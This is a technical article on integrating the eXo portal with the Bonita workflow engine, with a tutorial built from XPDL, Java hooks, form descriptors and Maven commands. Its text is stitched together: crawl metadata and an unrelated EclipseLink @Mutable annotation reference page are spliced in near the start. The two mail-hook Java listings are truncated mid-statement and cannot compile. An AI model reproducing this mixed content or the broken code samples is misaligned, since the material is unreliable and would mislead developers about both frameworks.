http://www.codeproject.com/Articles/20173/MS-SQL-Server-Profiler-with-NET?msg=2875232
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
Use
@Mutable on a
@Basic mapping to specify if the value of a complex field type can be changed (or not changed) instead of being replaced. Mutable mappings may affect the performance of change tracking; attribute change tracking can only be weaved with non-mutable mappings.
Annotation Elements
Table 2-33 describes this annotation's elements.
Usage
Most basic types (such as
int,
long,
float,
double,
String, and
BigDecimal) are not mutable.
By default,
Date and
Calendar types are assumed to be not mutable. To make these types mutable, use the
@Mutable annotation. You can also use the global persistence property
eclipselink.temporal.mutable to set the mappings as mutable.
By default, serialized types are assumed to be mutable. You can set the
@Mutable annotation to
false to make these types not mutable.
You can also configure mutable mappings for
Date and
Calendar fields in the persistence unit in the
persistence.xml file.
Examples
Example 2-65 shows how to use the
@Mutable annotation to specify
Employee field
hireDate.
Example 2-65 Using @Mutable Annotation
@Entity public class Employee implements Serializable { ... @Temporal(DATE) @Mutable public Calendar getHireDate() { return hireDate; } .. }
Example 2-66 shows how to configure mutable mappings in the persistence unit
persistence.xml file or by importing a
property map.
Example 2-66 Specifying Mutable Mappings in persistence.xml
Using
persistence.xml file:
<property name="eclipselink.temporal.mutable" value="true"/>
Using
property map:
import org.eclipse.persistence.config.PersistenceUnitProperties; propertiesMap.put(PersistenceUnitProperties.TEMPORAL_MUTABLE, "false");
See Also
For more information, see:
|
http://www.eclipse.org/eclipselink/documentation/2.4/jpa/extensions/a_mutable.htm
|
CC-MAIN-2015-35
|
en
|
refinedweb
|
Bonita v2 Series: Part Three
By Brice Revenant
01 Sep 2006 | TheServerSide 168 Portlets. It also shows how Bonita workflow engine can be leveraged to validate documents contained in the eXo Java Content Repository. We hope ideas presented here can be applied to different integration scenarios.
The first section introduces key concepts. Then we will have a look at the way both components can be integrated, and finally we will study some use cases.
Concepts overview
In this section, we will tackle the concepts of Portal and Workflow in J2EE. Then we will see the advantages offered by their integration.
What is a Portal?:
Figure 1: Groupware Portlet. The JSR 168 standardizes development by providing an API implementing portlets. The implementation is modeled on the servlet API, popular in the J2EE community. Features like security, rendering, profiling, mobility, internationalization and accessibility are handled by the portal infrastructure. This enables developers to focus on the added value, without reinventing the wheel.
System Integrators also join the party. Portals run in JEE application servers and benefit from embedded connectivity stacks, such as JCA (Java Connector Architecture), JMS (Java Message Service), and JAX-WS (Java API for XML WebServices). Portals provide a single sign in to access all integrated applications by authenticating once. Portals are within the reach of customers, employees or business partners. At Bull S.A.S, we think that Portals are a perfect interface with the components of an SOA platform.
eXo Platform is the open source portal implementation in the spotlight for this article. In addition to a generic portal, eXo provides a line of products adapted for specialized fields, such as Enterprise Content Management (eXo ECM), Business Intelligence (eXo BI), and Groupware (eXo Groupware). Within these products, eXo ECM also provides a Portal infrastructure to capture, store, manage, publish and backup documents. eXo ECM features a JCR (Java Content Repository), which is a structured database for storing data. eXo ECM is a good candidate for integrating with Bonita because, as we will see later, a Workflow system adds value when managing document lifecycles.
What is a workflow engine? .NET.
Bonita is one of the workflow engines gaining great momentum over the past year. Bonita's success is notably due to its API, entirely based on J2EE, hence the concept of "Workflow Beans."
- In concrete terms,
- Process models, process instances and users are modeled by Entity Beans,
- Workflow operations are executed in Session Beans manipulating those Entity Beans,
- Workflow events can be handled in Message Driven Beans.
Learning Bonita API is fast because it involves concepts familiar to most Java developers. This also implies that Bonita runs in an Application Server and benefits from built-in services such as transactions, security, connectivity, presentation, clustering, and high availability. As often in J2EE, there is no need to reinvent the wheel.
Bonita API can be used to design process models programmatically by invoking EJBs. In addition, Bonita v2 series recently introduced the possibility to import Workflow models in XPDL (XML Process Definition Language). We utilize this new feature deploying processes in eXo.
The following screenshot shows "ProEd," a designer tool that allows generating custom-tailored Bonita processes in XPDL.
Figure 2 ProED example: "ProEd" is a Workflow Process designer appropriate for Bonita
Why merge eXo Portal and Bonita Workflow?
Now that Portal and Workflow concepts are clarified, let's look at the benefits of the merge.. In addition, the common "look and feel" of the organization are commonly applied thanks to CSS (Cascading Style Sheets) skins in eXo.. In exchange, eXo exposes its JCR and allows Bonita to invoke stored Groovy scripts or Business Rules during task executions.
Third, Bonita is mainly a Workflow Engine. Bonita requires a user interface layer to generate online forms when interacting with humans. eXo could put its JSF (Java Server Faces) functionalities at disposal. The fact that JSF is now included in J2EE will undoubtedly make this technology grow even more in the future. eXo can also be combined with AJAX (Asynchronous JavaScript and XML) to enrich the user's experience when Workflow forms are filled in.
To summarize, the major objective is to benefit from the best of Portal and Workflow components. The following session details how they can be integrated.
How to integrate the Portal and the Workflow engine
We will now unveil the underlying technical points behind the integration of eXo Platform and Bonita.
How to bundle both components
On one hand, eXo is a set of Portlet WARs (Web Application Archives), plus a lightweight container composed of JARs (Java Archives). On the other, Bonita EJBs are typically deployed in JOnAS, the application server backed by Bull S.A.S. It was decided to bundle everything in the same EAR (Enterprise Archive).. When the final version is available, we will also publish the artifacts to.
The inner architecture of eXo is key when integrating third party software components. Indeed, eXo is based on a lightweight container where services running in the portal are deployed. Examples of services are Portlet Container, Security, Logging or Database.:
public interface WorkflowServiceContainer { public void deployProcess(InputStream iS) throws IOException; public List<Process> getProcesses(); public Process getProcess(String processId); public boolean hasStartTask(String processId); public List<ProcessInstance> getProcessInstances(String processId); public ProcessInstance getProcessInstance(String processInstance); public Map getVariables(String processInstanceId, String taskId); public List<Task> getTasks(String processInstanceId); public Task getTask(String taskId); public List<Task> getAllTasks(String user) throws Exception; public List<Task> getUserTaskList(String user); public List<Task> getGroupTaskList(String user) throws Exception; public List<Timer> getTimers(); public void startProcess(String processId); public void startProcess(String remoteUser, String processId, Map variables); public void startProcessFromName(String remoteUser, String processName, Map variables); public void endTask(String taskId, Map variables); public void endTask(String taskId, Map variables, String transition); public void deleteProcess(String processId); public void deleteProcessInstance(String processInstanceId); }
Figure 3: Methods contained in the Bonita Workflow service...a migration to EJB 3.0) has zero impact on dependent code.
Figure 4: Adopted architecture: The Portlet communicates with the Workflow Engine through an abstract layer to increase agility
How to share a common user repository.
public interface RoleMapperI { // Returns a collection of users making up the specified role public Collection searchMembers(Object obj, BnRoleLocal role, String userName) throws HeroException; }
Figure 5: Required interface for implementation when writing custom Role Mappers
A new Role Mapper named "ExoOrganizationRoleMapper" is aimed at Workflow designers using eXo and Bonita. It maps Bonita roles with eXo groups. More precisely, it fills in Bonita roles whose names are the same as eXo groups. This allows task assignment to users who are members of a specific group in eXo; for example, "Human Resources," "Directors" or "Administrators." More information about Role Mappers is provided in the introduction article of this series.
In the integration, this concept of roles is preserved. However, the J2EE users are not identified by Bonita, but by the eXo organization service. This is done by appropriately configuring the application server so that the eXo JAAS (Java Authentication and Authorization Service) module is invoked by Bonita. Of course, this works because all components are contained in the same EAR.
The JAAS module delegates to the eXo Organization Service, currently supporting authentication based on database, LDAP and CAS. eXo provides an API to implement support for other authentication systems, including custom authentication.
Figure 6: This diagram shows that eXo and Bonita both leverage the organization service in the container when authenticating users. This service is compatible with various repositories.
Bonita comes with companion tools, such as "Manager" or "Graph Editor." A convenient script is provided to make them connect to the application server hosting both eXo and Bonita. As the user repository is now shared, they can be used to inspect processes deployed in eXo.
Figure 7: "Manager" and "Graph Editor" applications shipped with Bonita. They can be used to connect with the Application Server running eXo and Bonita. This sample screenshot shows a live process instance running in the portal.
How to design the user interface
From human perspective, this tool is accessed through a couple of JSR 168 workflow portlets. Those portlets can be included in portal pages that aggregate other applications to form a unified dashboard.
The Controller Portlet
First, the Controller Portlet is aimed at standard users. It provides two panes. One of those panes renders the processes that the current user is able to start.
Figure 8: List of processes the current user may start
When the user selects one of the processes, a form is displayed in the pane. The form enables the user to supply information for launching the new process instance.
Figure 9: An example of a form in eXo-Bonita
The second pane contains the list of tasks assigned to the current user. This is what we call the Bonita "To Do" list.
Figure 10: This panel lists the tasks assigned to the current user.
When the user selects one of the tasks in Figure 10, the corresponding form dialog is displayed. Some fields may already be filled, based on the contents of the running process instance.
The Admin Portlet
The second portlet is aimed at administrators. It also contains two panes. The first pane lists all processes deployed in eXo. It is possible to undeploy some of the processes by selecting the "Delete" icon. In addition, it is possible to deploy new processes by clicking on the top right icon.
Figure 11: This pane lists all deployed processes
By selecting a process, the administrator can display all the corresponding running instances. An administrator can also kill instances.
Figure 12: This pane lists all running process instances
If the user scrolls down, they can monitor the status of the running instance, including executed tasks. An empty end date means the task is waiting for what has not been processed yet by human action.
Figure 13: This pane lists the executed and waiting tasks. It also gives the corresponding roles.
The second pane of the Portlet lists all Bonita currently set deadlines. Deadlines consist of timers giving some temporal constraints to the Workflow execution.
Figure 14: This pane monitors the Bonita deadlines
Both controller and admin portlets are available only in private portal pages. These portlets require user authentication before interacting with the workflow engine.
How to display workflow dialog forms
Bonita distinguishes between two types of properties. There are the task properties, which are specific to a given task, and the global properties, which are shared by all tasks in the process. Users can set or retrieve both properties by means of bounded fields. Those fields are displayed in dialog forms when starting a new process or when managing a task in the to do list.
A form service has been designed in eXo to handle the dialog generation. The person in charge of designing a workflow has three options when specifying a form.
Automatic generation
A designer can let the service automatically generate a form, based on local and global properties of the process. This feature is notably mostly useful when prototyping. It is also potentially useful when running cooperative Bonita processes. Cooperative processes allow some users to edit in real time the behavior of a long term running process, for which some tasks are unknown a priori. To a certain extent, they are a kind of Wikis for Workflows. In that scenario, automatic forms allow people to bypass the form specification and focus on the design of the process.
Form dialogs specification
A designer can also select which properties have to be shown, internationalize their labels, and specify the JSF renderers to be used. This configuration is done in "forms.xml," a descriptor coming with each process deployed in eXo. The following snippet shows an extract of this file:
<forms> ... <form> <resource-bundle>evaluation</resource-bundle> <state-name>evaluation</state-name> <variable name="document-id" component="nodeview"/> <variable name="initiator" editable="false"/> <variable name="startDate" component="datetime"/> <variable name="endDate" component="datetime"/> <variable name="delegate"/> <variable name="decision" component="radiobox"/> </form> ... </forms>
Figure 15: Definition of a form
Figure 15 demonstrates how Workflow properties are bounded with rendering components. The corresponding form is shown below:
Figure 16: The corresponding form
The following screenshot shows the range of currently available widgets.
Figure 17: All those widgets can be included in forms
Velocity specification
Finally, a designer can provide a Velocity template. Velocity Templates are similar to JSPs (Java Server Pages) and are widespread in eXo Platform s because of their easy usage. In that scenario, eXo instantiates the JSF components behind the scene and the template is responsible for arranging them in the Portlet area.
This option is perfect for a fine layout of components. In addition, as the HTML code is controlled, Java Script code can be written to manage values provided by the user. This paves the way for AJAX.
The following snippet shows an example of a Velocity template. An image is first displayed for a bit of atmosphere. Then JSF fields are added and bounded to Bonita properties by the "#jsfFormField" Velocity directive. Finally a numeric check is attached to a field to demonstrate how javascript can be used.
#jsfForm() <table border="0"> <tr> <th colspan="2" height="50" align="center"> My custom velocity form<br> <img src="" height="35" width="150" border="0"> </th> </tr> <tr> <td> <tr> <td>Employee :</td> <td>#jsfFormField("initiator")</td> </tr> <tr> <td>Amount to be added :</td> <td>#jsfFormField("amount-granted")</td> </tr> </td> </tr> <tr> <td> #jsfFormButton("finish it" $uicomponent.endOfState) #jsfFormButton("@UITask.cancel" $uicomponent.cancelProcess) </td> </tr> </table> <script type="text/javascript"> var previous = 0 function myalert() { value = document.getElementsByName("amount-granted")[0].value if (((value / value) != 1) && (value != 0)) { alert("Please enter a numeric value !") document.getElementsByName("amount-granted")[0].value = previous } else { previous = value } } document.getElementsByName("amount-granted")[0].onkeyup = myalert </script> #end
Figure 18: A sample Workflow form in Velocity
The following screenshot shows the resulting Workflow form dialog:
Figure 19: Result of the previous Velocity template: Some fields are dynamically checked by JavaScript when the user updates them.
How to package and deploy processes
When deploying Processes in the Portal, it was decided to package all needed items in simple zip files called BPARs ("Business Process Archives"). A BPAR typically contains:
- The Process Definition file, in XPDL,
- Custom Java classes needed by Bonita when running the Process. They include Hooks invoked when Tasks are being executed and Role Mappers invoked when resolving roles.
- The forms.xml file,
- Velocity templates,
- Internationalization bundle files.
This makes Process manipulation more practical. A Maven 2 sample project is provided to help designers compile and package their own BPARs.
How to leverage the JCR?
As specified earlier, a JCR is a sort of hierarchical database. Information is contained by Nodes which contain Properties themselves. The approach promoted by eXo is to store and structure the documents of the Organization in such Nodes.
A dedicated service is available in eXo to abstract operations on JCR Nodes. Thus it is possible to retrieve a reference to that service from Bonita Hooks, when executing a Process. The JCR API can be used subsequently to manage documents. This feature is notably useful for validating content. Indeed, JCR documents can be referenced from Process Properties and rendered in Portlets. We will study this use case later.
We also found that the JCR is a great place to persist the contents of the deployed BPARs. In eXo, there exists a path dedicated to stor ing system information needed by the Portal, such as taxonomies, rules, scripts, or Velocity templates. A new entry was added, to hold the files contained by the BPARs, such as the Process Definition, the form definitions, or the internationalization bundles. The administrator can edit them online thanks to the ECM File Explorer, without having to redeploy the Processes.
Figure 20: BPAR contents, accessible from the ECM File Explorer.
Use cases
In this final section, we present two possible applications. The first demonstrates a simple approval workflow and the second demonstrates content validation using JCR. Before the applications are explained, eXo-Bonita installation instructions are presented.
Installation
eXo-Bonita is available on top of the JOnAS application server, as a package containing all appropriate modules and configuration. The eXo-Bonita package needs to be unzipped in a fresh JOnAS 4.7. X installation. The required steps are as follows:
- First download JDK 1.5 from. After the JDK installation, make sure that the JAVA_HOME environment variable is defined and correctly references the JDK directory.
- JOnAS 4.7. X is available at. Download the JOnAS package and install. Create a JONAS_ROOT environment variable, referencing the JOnAS installation location.
- Download eXo-Bonita 1.0 from. Although we published this article using Release Candidate 4, we strongly recommend the Final release when available. In the list, search preferentially for a file named "eXoECM-JOnAS-Bonita-1.0.zip," or if not yet available, "eXoECM-JOnAS-Bonita-1.0-RC4.zip." When downloaded, extract it into your JONAS_ROOT directory. This should create and overwrite some files.
- Execute the final configuration procedure . Enter:
- "%JONAS_ROOT%binntpost-patch.bat" on Windows or "$JONAS_ROOT/bin/nt/post-patch.sh" on Unix.
To access the Portal, first issue the command "%JONAS_ROOT%binntjonas start" on Windows, or "$JONAS_ROOT/bin/unix/jonas start" on Unix. Then in a browser enter. Login is "exoadmin" and password is "exo". The Workflow Portlets can be reached by selecting the "Portlets" menu.
Approval use case
Together in this first use case, we create our first BPAR. Remember, in the first article of this trilogy, Miguel presented an Approval Process. This sample models a request process granting usage of fictitious applications named "application1," "application2" and "application3." The user launching the Process is supposed to choose among one of them and supply a name, email address and phone number before submitting the request. Then, the "Approval" Task is assigned to an administrator who has to make a decision. The processing flow is finally routed toward the "Acceptance" or "Rejection" task, depending on the decision. In both case, a notification email is simply sent back to the initiator.
Figure 21: Graphic representation of the Approval Process sample to be ran in the Portal
We will take this opportunity to migrate this Approval Process to the Portal.
Setup
Maven 2 must be installed on the machine beforehand. Please follow the instructions provided at. Maven 2 is supposed to download dependent project libraries from the Internet, but for legal reasons, some libraries need to be downloaded manually. This is notably the case for a required EJB library. For that reason, it is necessary to run a preliminary command.
On Windows:
mvn install:install-file -DgroupId=javax.ejb -DartifactId=ejb -Dversion=2.1 -Dpackaging=jar -Dfile=%JONAS_ROOT%libappsejb-2.1.jar
On Unix:
mvn install:install-file -DgroupId=javax.ejb -DartifactId=ejb -Dversion=2.1 -Dpackaging=jar -Dfile=$JONAS_ROOT/lib/apps/ejb-2.1.jar
Afterwards, Maven 2 has all necessary components.
Files creation
Now create a directory called "approval" somewhere on your machine. It contains all necessary files when building the BPAR. Each file is listed below. The location, content and related explanations are given, to complete the tutorial.
- approval/pom.xml
<project> <groupId>org.objectweb.bonita</groupId> <version>1.0</version> <modelVersion>4.0.0</modelVersion> <artifactId>approval</artifactId> <packaging>jar</packaging> <name>Approval Workflow BPAR</name> <dependencies> <!-- Bonita API --> <dependency> <groupId>org.objectweb.bonita</groupId> <artifactId>bonita</artifactId> <version>1.7-2006_05_23</version> <type>ejb</type> <scope>compile</scope> </dependency> </dependencies> <build> <sourceDirectory>src/java</sourceDirectory> <outputDirectory>target/classes</outputDirectory> <!-- What to be included in the BPAR --> <resources> <resource> <directory>src/conf</directory> <includes> <include>**/*.properties</include> <include>**/*.xml</include> <include>**/*.xpdl</include> </includes> </resource> </resources> </build> <repositories> <!-- Remote repository where Bonita artifacts are located --> <repository> <id>objectweb-snapshot</id> <url></url> </repository> </repositories> </project>
This is the object model describing the project. The "bonita" artifact specified in the dependencies section allows reusing the Bonita API. Please note that the version "1.7-2006_05_23" corresponds to a release candidate. It is recommended to switch to a stable artifact when the final release is available. For more information about Maven 2, we strongly recommend browsing the excellent project site at.
You may want to reuse the same file when packaging your own Processes for eXo.
- approval/src/conf/Approval_workflow.xpdl
<?xml version="1.0" encoding="UTF-8"?> <Package xmlns="" xmlns: <PackageHeader> <XPDLVersion>1.0</XPDLVersion> <Vendor>Bull</Vendor> <Created>07 juin 2006 08:40:39</Created> </PackageHeader> <RedefinableHeader PublicationStatus="UNDER_TEST"> <Author>Miguel Valdes Faura</Author> </RedefinableHeader> <ConformanceClass>NON_BLOCKED</ConformanceClass> <WorkflowProcesses> <WorkflowProcess AccessLevel="PUBLIC" Name="Approval_workflow" Id="Approval_workflow"> <DataFields> <DataField Id="decision" Name="decision"> <DataType> <EnumerationType> <EnumerationValue Name="reject" /> <EnumerationValue Name="grant" /> </EnumerationType> </DataType> <InitialValue>reject</InitialValue> <ExtendedAttributes> <ExtendedAttribute Name="PropertyActivity" /> </ExtendedAttributes> </DataField> <DataField Id="User_name" Name="User_name"> <DataType> <BasicType Type="STRING" /> </DataType> </DataField> <DataField Id="Email_address" Name="Email_address"> <DataType> <BasicType Type="STRING" /> </DataType> </DataField> <DataField Id="Phone_number" Name="Phone_number"> <DataType> <BasicType Type="STRING" /> </DataType> </DataField> <DataField Id="Available_applications" Name="Available_applications"> <DataType> <EnumerationType> <EnumerationValue Name="application1" /> <EnumerationValue Name="application2" /> <EnumerationValue Name="application3" /> </EnumerationType> </DataType> <InitialValue>application1</InitialValue> </DataField> </DataFields> <Participants> <Participant Id="SYSTEM" Name="SYSTEM"> <ParticipantType Type="SYSTEM" /> <ExtendedAttributes> <ExtendedAttribute Name="NewParticipant" Value="true" /> </ExtendedAttributes> </Participant> <Participant Id="member:/company/direction" Name="member:/company/direction"> <ParticipantType Type="ROLE" /> <ExtendedAttributes> <ExtendedAttribute Name="Mapper" Value="Custom" /> <ExtendedAttribute Name="MapperClassName" Value="hero.mapper.ExoOrganizationMapper" /> <ExtendedAttribute Name="NewParticipant" Value="true" /> </ExtendedAttributes> </Participant> </Participants> <Activities> <Activity Id="Rejection" Name="Rejection"> <Implementation> <No /> </Implementation> <StartMode> <Automatic /> </StartMode> <ExtendedAttributes> <ExtendedAttribute Name="hook" Value="hero.hook.MailReject"> <HookEventName>beforeTerminate</HookEventName> </ExtendedAttribute> </ExtendedAttributes> </Activity> <Activity Id="Acceptance" Name="Acceptance"> <Implementation> <No /> </Implementation> <StartMode> <Automatic /> </StartMode> <ExtendedAttributes> <ExtendedAttribute Name="hook" Value="hero.hook.MailAccept"> <HookEventName>beforeTerminate</HookEventName> </ExtendedAttribute> </ExtendedAttributes> </Activity> <Activity Id="start" Name="start"> <TransitionRestrictions> <TransitionRestriction> <Join Type="AND" /> </TransitionRestriction> </TransitionRestrictions> <Implementation> <No /> </Implementation> <StartMode> <Automatic /> </StartMode> <ExtendedAttributes> <ExtendedAttribute Name="hook" Value="hero.hook.InitialValuesHook"> <HookEventName>beforeTerminate</HookEventName> </ExtendedAttribute> </ExtendedAttributes> </Activity> <Activity Id="Approval" Name="Approval"> <Implementation> <No /> </Implementation> <Performer>member:/company/direction</Performer> <StartMode> <Manual /> </StartMode> <ExtendedAttributes> <ExtendedAttribute Name="property" Value="decision"> <Propagated>No</Propagated> </ExtendedAttribute> </ExtendedAttributes> </Activity> </Activities> <Transitions> <Transition Id="Approval_Rejection" Name="Approval_Rejection" From="Approval" To="Rejection"> <Condition Type="CONDITION">decision.equals("reject")</Condition> </Transition> <Transition Id="Approval_Acceptance" Name="Approval_Acceptance" From="Approval" To="Acceptance"> <Condition Type="CONDITION">decision.equals("grant")</Condition> </Transition> <Transition Id="start_Approval" Name="start_Approval" From="start" To="Approval" /> </Transitions> </WorkflowProcess> </WorkflowProcesses> <ExtendedAttributes> <ExtendedAttribute Name="MadeBy" Value="ProEd" /> <ExtendedAttribute Name="View" Value="Activity" /> </ExtendedAttributes> </Package>
This above corresponds to the definition of the Approval Process. The file should be importable from any XPDL editor, such as BSOA ProEd. It is reworked a bit to fit the Portal environment. First, an automatic Task named "start" is added when launching the Process. Automatic means that the Task is processed by the Workflow engine and requires no human operation to begin. This allows a Bonita Hook to be invoked and the hook populates Process properties with information retrieved from the Portal. Second, the "Approval" Task is assigned the role "member:/company/direction", resolved by the Role Mapper previously mentioned ("hero.mapper.ExoOrganizationMapper"). This allows the mapping Bonita roles with eXo groups.
You will need to do typical adjustments when "portalizing" your own Bonita Process.
- approval/src/java/hero/hook/InitialValuesHook.java
package hero.hook; import hero.interfaces.BnNodeLocal; import hero.interfaces.Constants; import hero.interfaces.ProjectSessionLocal; import hero.interfaces.ProjectSessionLocalHome; import hero.interfaces.ProjectSessionUtil; import hero.util.HeroHookException; import hero.user.UserBaseService; import hero.user.UserBase; public class InitialValuesHook implements NodeHookI { public String getMetadata() { return Constants.Nd.BEFORETERMINATE; } public void beforeTerminate(Object obj, BnNodeLocal node) throws HeroHookException { ProjectSessionLocal projectSession = null; try { // Initialize Project Session String projectName = node.getBnProject().getName(); ProjectSessionLocalHome projectSessionHome = ProjectSessionUtil.getLocalHome(); projectSession = projectSessionHome.create(); projectSession.initProject(projectName); /* * Retrieve a reference to the User Base service in Bonita. This * service communicates with eXo to retrieve information on users. */ UserBaseService userBaseService = UserBaseService.getInstance(); UserBase userBase = (UserBase) userBaseService.getUserBases().toArray()[0]; // Retrieve workflow session creator and set the instance property with it String userName = projectSession.getCreator(); projectSession.setProperty("User_name", userName); // Retrieve the email address from eXo String emailAddress = (String) userBase.getUserInfos(userName).get("email"); projectSession.setProperty("Email_address", emailAddress); // Retrieve the phone number from eXo String phoneNumber = (String) userBase.getUserInfos(userName).get("phone"); projectSession.setProperty("Phone_number", phoneNumber); } catch (Exception e) { e.printStackTrace(); } finally { try { projectSession.remove(); } catch (Exception ignore) { } } } public void beforeStart(Object arg0, BnNodeLocal arg1) throws HeroHookException {} public void afterStart(Object arg0, BnNodeLocal arg1) throws HeroHookException {} public void afterTerminate(Object arg0, BnNodeLocal arg1) throws HeroHookException {} public void anticipate(Object arg0, BnNodeLocal arg1) throws HeroHookException {} public void onCancel(Object arg0, BnNodeLocal arg1) throws HeroHookException {} public void onDeadline(Object arg0, BnNodeLocal arg1) throws HeroHookException {} public void onReady(Object arg0, BnNodeLocal arg1) throws HeroHookException {} }
The above is a Bonita Hook. The Java code is invoked when an instance is triggered. The first instructions create an EJB Session Bean aimed at modifying settings in the instance. Then, a UserBase is retrieved. A UserBase is a Bonita service that allows retrieving information about the users. By default, the UserBase obtained allows retrieving information from the eXo Organization service. Finally, Process Properties are set based on the obtained user name, phone number and email address. That way, the user does not have to specify this information. It is automatically supplied by the Portal infrastructure.
- approval/src/java/hero/hook/MailAccept.java
package hero.hook; import hero.interfaces.*; import hero.interfaces.BnNodeLocal; import hero.util.HeroHookException; import hero.util.BonitaServiceLocator; import java.util.*; public class MailAccept accept OK during the "+nodeName+" execution"); } catch (Exception e) {System.out.println("mail service error: "+e);e.printStackTrace();} } }
The above code is invoked when the Acceptance Task starts. It simulates the emission of a mail notification. We won't bother with sending an actual email here, but if interested, you can find the actual code in Bonita samples (src/ bonitaStandAloneClient directory). This code basically uses the application server infrastructure to retrieve a Javamail provider.
- approval/src/java/hero/hook/MailReject.java
package hero.hook; import hero.interfaces.*; import hero.util.*; import hero.interfaces.Constants; import java.util.*; public class MailReject rejection OK during the "+nodeName+" execution"); } catch (Exception e) {System.out.println("mail service error: "+e);e.printStackTrace();} } }
The above Hook is similar in all respects to the previous one.
- approval/src/conf/forms.xml
<forms> <form> <!-- The Start name is an empty String by convention --> <resource-bundle>request</resource-bundle> <state-name></state-name> <variable name="Available_applications" component="select"/> </form> <form> <resource-bundle>approval</resource-bundle> <state-name>Approval</state-name> <variable name="User_name" editable="false"/> <variable name="Email_address" editable="false"/> <variable name="Phone_number" editable="false"/> <variable name="Available_applications" editable="false"/> <variable name="decision" component="radiobox"/> </form> </forms>
Above is the file specifying a couple of form dialogs displayed in the Portal. The first <form> tag defines the form displayed for users starting the Process . The second <form> tag defines the form aimed at approvers. For each definition, there are the internationalization resource bundle to be used (<resource-bundle> tag), the name of the corresponding Task (<state-name> tag) and the Workflow Properties accessible from the dialog (<variable> tags).
In the first dialog, only the "Available_applications" property can be set. A combo box is used for that. In the second dialog, all variables are displayed, including those set by the InitialValuesHook. All of the variables are read only, except for the decision variable that must be set by the approver.
- approval/src/conf/request.properties
task-name=request title=request submit=Request the application Phone_number.label=Your phone number: Available_applications.label=Choose an application: Available_applications.select-0=application1 Available_applications.select-1=application2 Available_applications.select-2=application3
This is the resource bundle for the first dialog panel. The title of the dialog is provided, as well as labels and possible values for the combo box.
- approval/src/conf/approval.properties
task-name=approval title=A user requested an application submit.submit=Submit submit.value=Submit User_name.label=Requester username: Email_address.label=Requester email: Phone_number.label=Requester phone number: Available_applications.label=Chosen application: decision.label=Your decision: decision.radiobox-0=reject decision.radiobox-1=grant
This resource bundle is similar to the previous one. It is possible to localize the dialogs by supplying additional files, suffixed by the country identification (eg: "request_fr.properties").
That's it. At the end, check that the structure of the "approval" directory contains the following directories and files:
$ find approval/ -print approval/ approval/pom.xml approval/src approval/src/conf approval/src/conf/approval.properties approval/src/conf/Approval_workflow.xpdl approval/src/conf/forms.xml approval/src/conf/request.properties approval/src/java approval/src/java/hero approval/src/java/hero/hook approval/src/java/hero/hook/InitialValuesHook.java approval/src/java/hero/hook/MailAccept.java approval/src/java/hero/hook/MailReject.java
Packaging
In the "approval" directory, issue the command " mvn package". A file "approval-1.0.jar" is generated in the "target" directory. This is your BPAR.
Deployment
To deploy the BPAR in eXo, log in as an administrator and access the Administration Portlet in edit mode by clicking on its top right corner icon.
Figure 22: Click on that icon to switch the Administration Portlet in Edit mode
You can now upload the generated BPAR to the Portal.
When completed, the "Approval_workflow" Process should appear in the list.
Operation
The Process may now be started by Portal users requesting an application. To do so, log in with a standard account, access the Controller Portlet and click on the "Start" icon corresponding to the "Approval_workflow" Process.
Figure 23: Click on "Start"
The first form dialog appears. It allows you to select an application. This is the result of the form specification in the BPAR (see above).
Figure 24: First form dialog
When submitted, a new Task appears in the To Do list of members of the "/company/direction" eXo group. Additional information is provided, such as the current variables and the Process start date.
Figure 25: A Task appears in the To Do list
If you select the "Manage" icon, you can access the second dialog form. This enables termination of the Process. Note that the email and phone number fields are retrieved from the Portal infrastructure.
Figure 26: Second form dialog
At any time, the state of the request can be retrieved from the Processes Monitor tab in the Administration Portlet. It lists the Tasks, the assigned roles, and the execution date. In the following screenshot, the "Approval" Task is waiting execution, hence the empty date field.
Figure 27: State of the Process
Content validation use case
In this second use case study, we illustrate the content validation capabilities of eXo ECM. We create an article in the JCR. Then we request its publication using a Bonita Process and see how the Portal releases it. First, a short introduction to content management in eXo is required to set the scene.
Enterprise Content Management in eXo
From the beginning, eXo Platform has ECM (Enterprise Content Management) capabilities to manage documents accessible from Portlets. An ECM is a framework structuring the Organization content through the process of capturing, storing, managing, publishing , and referencing.
As previously stated, a JCR (Java Content Repository) is used to store documents. In eXo ECM, the JCR is partitioned in Workspaces in independent storage areas. They can be compared with the partitions of a file system. Workspaces allow a first classification of documents. Indeed, eXo provides four classifications by default:
- The "Draft" Workspace contains documents in creation phase, which have not been approved,
- The "Production" Workspace contains approved documents and are therefore potentially widely visible,
- The "Backup" Workspace contains archived documents which are no longer visible,
- The "Digital Assets" Workspace contains uploaded artifacts that can be referenced when creating documents, for example images, movies, or binary attachments.
Each Workspace is partitioned with Nodes, which comparable with directories in a file system. Some locations are noteworthy. Notably, each user owns a home directory containing private documents. Also, a centralized directory exists to contain published documents.
Documents in directories are contained by JCR Nodes behind the scenes. eXo makes a distinction between two kinds of documents:
- Structured documents are broken down and stored using Node Properties
- Unstructured documents are directly stored as binary
The latter option is mostly used for OpenOffice or MS Office documents.
Directories or documents can be monitored by eXo Actions. An Action is a callback invoked when an event occurred at a specified location. They make it possible to launch an appropriate processing in response to a creation, removal, or look up. Predefined Actions are provided, for instance Groovy script execution, Business Rule execution, or Workflow Process execution. Of course, it is possible to implement customized Actions. Each Action has full access to the target document and can provide appropriate processing based on content.
The JCR content is accessible from the eXo ECM Portlet, which has the same principles as Windows File Explorer. It shows available Workspaces, allows selection of one of them, and to access down into its directories. Documents in directories are listed. When selecting one of the documents for reading or editing, a specific Velocity template is displayed in the Portlet. Templates are specific to document types and allow a fine rendering in HTML. Default eXo Templates are provided to render or create common documents such as text files or articles. It is also possible to provide homemade Templates when rendering additional document types.
eXo ECM also displays content through WebDAV (Web-based Distributed Authoring and Versioning). This is a set of extensions to the HTTP protocol allowing users to edit and manage files on remote web servers. The latest versions of Windows have a built-in WebDAV client. This allows browsing the JCR and manipulat ion of the documents (edit, upload, download) from the Windows File Explorer. Quite handy, isn't it?
Hopefully this short introduction to eXo ECM features contributes to have a better understanding of the use case. More information is found in eXo Platform technical documentation at. We now set everything in motion. The first step is to create a document. Then we request its publication in the Portal. At that time, we see how a Bonita process is triggered and enables managers to validate the document. Finally we see how other users can reference a document and how its end of life is supported.
Document drafting
First, you must to log on with your Portal account and access the ECM Portlet. By default, this Portlet shows the four default Workspaces mentioned above.
Figure 28: The ECM Portlet showing available Workspaces
Select the "Draft" Workspace to start working on your documents. The view changes to render the directories available in that Workspace.
Figure 29: The ECM Portlet allows browsing into the directories
It is possible to access your home directory. Note that the JCR applies security constraints preventing other users from accessing it. You can now create a new document by clicking on the appropriate icon in the toolbar.
Figure 30: Click on that icon to create an empty document
